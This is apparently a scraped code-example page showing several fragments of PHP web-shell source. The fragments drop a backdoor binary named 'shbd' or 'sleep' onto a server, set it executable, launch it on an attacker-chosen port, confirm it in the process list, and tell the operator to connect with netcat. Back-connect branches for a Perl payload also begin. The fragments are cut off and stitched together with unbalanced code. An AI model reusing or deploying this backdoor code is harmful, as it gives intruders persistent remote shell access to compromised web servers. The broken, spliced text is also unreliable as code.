Exemple #1
0
    $ip = gethostbyname($_SERVER["HTTP_HOST"]);
    $por = $_POST['backconnectport'];
    if (is_writable(".")) {
        cfb("shbd", $backdoor);
        ex("chmod 777 shbd");
        $cmd = "./shbd {$por}";
        exec("{$cmd} > /dev/null &");
        $scan = myshellexec("ps aux");
        if (eregi("./shbd {$por}", $scan)) {
            $data = "\n</br></br>Process found running, backdoor setup successfully.";
        } elseif (eregi("./shbd {$por}", $scan)) {
            $data = "\n</br>Process not found running, backdoor not setup successfully.";
        }
        $_POST['backcconnmsg'] = "To connect, use netcat and give it the command <b>'nc {$ip} {$por}'</b>.{$data}";
    } else {
        cfb("/tmp/shbd", $backdoor);
        ex("chmod 777 /tmp/shbd");
        $cmd = "./tmp/shbd {$por}";
        exec("{$cmd} > /dev/null &");
        $scan = myshellexec("ps aux");
        if (eregi("./shbd {$por}", $scan)) {
            $data = "\n</br></br>Process found running, backdoor setup successfully.";
        } elseif (eregi("./shbd {$por}", $scan)) {
            $data = "\n</br>Process not found running, backdoor not setup successfully.";
        }
        $_POST['backcconnmsg'] = "To connect, use netcat and give it the command <b>'nc {$ip} {$por}'</b>.{$data}";
    }
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && $_POST['use'] == "Perl") {
    if (is_writable(".")) {
        cf("back", $back_connect);
}
function bberr()
{
    $_POST['backcconnmsge'] = "<br><br><div class=fxerrmsg>Error:</div> C4n'7 b4ckd00r h057!";
}
if (!empty($_POST['backconnectport']) && $_POST['use'] == "shbd") {
    $ip = gethostbyname($_SERVER["HTTP_HOST"]);
    $poor = $_POST['backconnectport'];
    if (is_writable(".")) {
        cfb("shbd", $b4ckd00r);
        ex("chmod 777 shbd");
        $cmd = "./shbd {$poor}";
        exec("{$cmd} > /dev/null &");
        $scan = s3x3c("ps aux");
    } else {
        cfb("/tmp/shbd", $b4ckd00r);
        ex("chmod 777 /tmp/shbd");
        $cmd = "./tmp/shbd {$poor}";
        exec("{$cmd} > /dev/null &");
        $scan = s3x3c("ps aux");
    }
    if (eregi("./shbd {$poor}", $scan)) {
        $data = "\n<br>B4ckd00r 53tup 5ucc355fully.";
    } else {
        $data = "\n<br>Pr0c355 n07 f0und, b4ckd00r 537up f41l3d!";
    }
    $_POST['backcconnmsg'] = "70 c0nn3c7, u53 netcat! Us4g3: <b>'nc {$ip} {$poor}'</b>.{$data}";
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && $_POST['use'] == "Perl") {
    if (is_writable(".")) {
        cf("back", $bc_p3rl);
Exemple #3
0
}
function bberr()
{
    $_POST['backcconnmsge'] = "<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!";
}
if (!empty($_POST['backconnectport']) && $_POST['use'] == "sleep") {
    $ip = gethostbyname($_SERVER["HTTP_HOST"]);
    $por = $_POST['backconnectport'];
    if (is_writable(".")) {
        cfb("sleep", $backdoor);
        ex("chmod 755 sleep");
        $cmd = "./sleep {$por}";
        exec("{$cmd} > /dev/null &");
        $scan = myshellexec("ps -aux");
    } else {
        cfb("/tmp/sleep", $backdoor);
        ex("chmod 755 /tmp/sleep");
        $cmd = "./tmp/sleep {$por}";
        exec("{$cmd} > /dev/null &");
        $scan = myshellexec("ps -aux");
    }
    if (eregi("./sleep {$por}", $scan)) {
        $data = "\n<br>ngebind berhasil gan.";
    } else {
        $data = "\n<br>ngebind gagal gan :(";
    }
    $_POST['backcconnmsg'] = "To connect, use netcat! Usage: <b>'nc {$ip} {$por}'</b>.{$data}";
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && $_POST['use'] == "Perl") {
    if (is_writable(".")) {
        cf("back", $back_connect_pl);